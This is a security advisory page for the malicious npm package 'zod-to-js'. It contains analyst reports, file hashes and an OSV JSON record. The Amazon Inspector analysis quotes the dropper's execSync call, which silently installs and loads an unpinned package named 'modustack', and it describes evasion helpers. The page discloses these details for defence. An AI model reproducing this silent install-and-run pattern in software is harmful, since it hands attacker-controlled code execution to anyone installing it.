MAL-2026-4740 (GHSA-8CM2-VV7W-4C27)

Vulnerability from ossf_malicious_packages – Published: 2026-05-19 19:53 – Updated: 2026-11-25 10:14 – Source website
Malicious package
Summary
Malicious code in zod-to-js (npm)
Affected package
Ecosystem Package Versions
npm zod-to-js
Affected: All versions (semver)
13.4.413.4.3
Details
Amazon Inspector IN-MAL-2026-003269 Reported 2026-05-19 19:53

The package is published as 'zod-to-js' but ships a copy of pino's source tree (main entry pino.js, lib/proto.js, lib/levels.js, pino docs/README) with a description copy-pasted from inquirer and homepage https://getpino.io — a deceptive identity unrelated to its declared name. On require('zod-to-js'), the load chain reaches lib/writer.js, which attempts require('modustack') and, on failure, executes execSync('npm install modustack --no-warnings --no-save --no-progress --loglevel silent', { windowsHide: true }) followed by require('../../modustack/pino.js'). The install is unpinned, has no integrity check, and runs whatever bytes the attacker currently publishes under the modustack name. The same file contains additional staging scaffolding — a String.fromCharCode-based string builder and a getMacAddress() helper that enumerates non-internal interface MACs but is unreferenced in the visible code path — consistent with a loader/dropper shaped for evasion. Any consumer that imports this package triggers attacker-controlled code execution on the installer's machine.

GitHub Advisory Database GHSA-8cm2-vv7w-4c27 Reported 2026-05-29 22:05

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Amazon Inspector IN-MAL-2026-003272 Reported 2026-05-19 20:03

No description from this source.

ReversingLabs RLMA-2026-05383 Reported 2026-07-07 13:18

No description from this source.

ReversingLabs RLUA-2026-15232 Reported 2026-11-24 12:22

No description from this source.

Indicators
Type Indicator Hashes
Evidence file lib/writer.js
sha256 243c41c0dade19323a4451aa206271e4bb84495e5a576d6ed69368b574245a96
tlsh 6f318bd78245a278f3b06aa10e5fa0d1b186e12521507dd83ffc84c367ab4e04ed4fda
Evidence file package.json
sha256 d22966c76f021928b5d34c652439fbd9f28ba60c3183ffd59dcdcf6aa21e1f4e
tlsh 17016d25cd789d6314dc25814c394243a6609d575c18bd1973d7a32c0f4e4bf55fb16d
Package archive zod-to-js-13.4.4.tgz
sha1 b6e38e8de345442ababf83f1dd4385105db0fdaa
sha512_sri sha512-LpjjuetW7wyL+kD1VQUiipEIUZrltKExNFD3cBoYGAIL/Y1PX5izfJMJgGMPFHsOAVjIf+uU8stqv+YfOunWmw==
CWE
  • CWE-506 - Embedded Malicious Code

{
  "affected": [
    {
      "database_specific": {
        "cwes": [
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          },
          {
            "cweId": "CWE-506",
            "description": "The product contains code that appears to be malicious in nature.",
            "name": "Embedded Malicious Code"
          }
        ],
        "indicators": {
          "evidence_files": [
            {
              "path": "lib/writer.js",
              "sha256": "243c41c0dade19323a4451aa206271e4bb84495e5a576d6ed69368b574245a96",
              "tlsh": "6f318bd78245a278f3b06aa10e5fa0d1b186e12521507dd83ffc84c367ab4e04ed4fda"
            },
            {
              "path": "package.json",
              "sha256": "d22966c76f021928b5d34c652439fbd9f28ba60c3183ffd59dcdcf6aa21e1f4e",
              "tlsh": "17016d25cd789d6314dc25814c394243a6609d575c18bd1973d7a32c0f4e4bf55fb16d"
            }
          ],
          "package_integrity": [
            {
              "filename": "zod-to-js-13.4.4.tgz",
              "hashes": {
                "sha1": "b6e38e8de345442ababf83f1dd4385105db0fdaa",
                "sha512_sri": "sha512-LpjjuetW7wyL+kD1VQUiipEIUZrltKExNFD3cBoYGAIL/Y1PX5izfJMJgGMPFHsOAVjIf+uU8stqv+YfOunWmw=="
              }
            }
          ]
        }
      },
      "package": {
        "ecosystem": "npm",
        "name": "zod-to-js"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "SEMVER"
        }
      ],
      "versions": [
        "13.4.4",
        "13.4.3"
      ]
    }
  ],
  "aliases": [
    "GHSA-8cm2-vv7w-4c27"
  ],
  "credits": [
    {
      "contact": [
        "actran@amazon.com"
      ],
      "name": "Amazon Inspector",
      "type": "FINDER"
    },
    {
      "contact": [
        "https://www.reversinglabs.com"
      ],
      "name": "ReversingLabs",
      "type": "FINDER"
    }
  ],
  "database_specific": {
    "malicious-packages-origins": [
      {
        "id": "IN-MAL-2026-003272",
        "import_time": "2026-05-26T05:50:19.988314163Z",
        "modified_time": "2026-05-19T20:03:47Z",
        "sha256": "2bfb2532dd278433565925cce7ad434ac98011e691890dfde8445b8462c7d6cc",
        "source": "amazon-inspector",
        "versions": [
          "13.4.4"
        ]
      },
      {
        "id": "IN-MAL-2026-003269",
        "import_time": "2026-05-26T05:50:19.624500842Z",
        "modified_time": "2026-05-19T19:53:59Z",
        "sha256": "370d1632254cb5b5dbd394992054b6c0e943a6fb758ab70f470c059ee734b9c0",
        "source": "amazon-inspector",
        "versions": [
          "13.4.3"
        ]
      },
      {
        "id": "GHSA-8cm2-vv7w-4c27",
        "import_time": "2026-05-29T22:44:05.992090116Z",
        "modified_time": "2026-05-29T22:05:12Z",
        "ranges": [
          {
            "events": [
              {
                "introduced": "0"
              }
            ],
            "type": "SEMVER"
          }
        ],
        "sha256": "2d6317e5fa185151e459e546f886a0fc62b6bc96cee48ba19e7a18bd0f2ba268",
        "source": "ghsa-malware"
      },
      {
        "id": "RLMA-2026-05383",
        "import_time": "2026-07-09T09:17:01.560474506Z",
        "modified_time": "2026-07-07T13:18:39Z",
        "sha256": "8624b76a3e154acfd2770b0538d65c8da1a622f06c5e6728dee71d7ea5106d00",
        "source": "reversing-labs",
        "versions": [
          "13.4.3"
        ]
      },
      {
        "id": "RLUA-2026-15232",
        "import_time": "2026-11-25T10:13:16.611448628Z",
        "modified_time": "2026-11-24T12:22:24Z",
        "sha256": "da89487089925452579e57bfd6c18567e255df51a05939e6bff18510fa7b4221",
        "source": "reversing-labs",
        "versions": [
          "13.4.4"
        ]
      }
    ]
  },
  "details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (370d1632254cb5b5dbd394992054b6c0e943a6fb758ab70f470c059ee734b9c0)\nThe package is published as \u0027zod-to-js\u0027 but ships a copy of pino\u0027s source tree (main entry `pino.js`, lib/proto.js, lib/levels.js, pino docs/README) with a description copy-pasted from inquirer and homepage `https://getpino.io` \u2014 a deceptive identity unrelated to its declared name. On `require(\u0027zod-to-js\u0027)`, the load chain reaches `lib/writer.js`, which attempts `require(\u0027modustack\u0027)` and, on failure, executes `execSync(\u0027npm install modustack --no-warnings --no-save --no-progress --loglevel silent\u0027, { windowsHide: true })` followed by `require(\u0027../../modustack/pino.js\u0027)`. The install is unpinned, has no integrity check, and runs whatever bytes the attacker currently publishes under the `modustack` name. The same file contains additional staging scaffolding \u2014 a `String.fromCharCode`-based string builder and a `getMacAddress()` helper that enumerates non-internal interface MACs but is unreferenced in the visible code path \u2014 consistent with a loader/dropper shaped for evasion. Any consumer that imports this package triggers attacker-controlled code execution on the installer\u0027s machine.\n\n## Source: ghsa-malware (2d6317e5fa185151e459e546f886a0fc62b6bc96cee48ba19e7a18bd0f2ba268)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n",
  "id": "MAL-2026-4740",
  "modified": "2026-11-25T10:14:49.031490556Z",
  "published": "2026-05-19T19:53:59Z",
  "references": [
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/zod-to-js/v/13.4.4"
    },
    {
      "type": "PACKAGE",
      "url": "https://www.npmjs.com/package/zod-to-js/v/13.4.3"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-8cm2-vv7w-4c27"
    }
  ],
  "schema_version": "1.7.4",
  "summary": "Malicious code in zod-to-js (npm)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.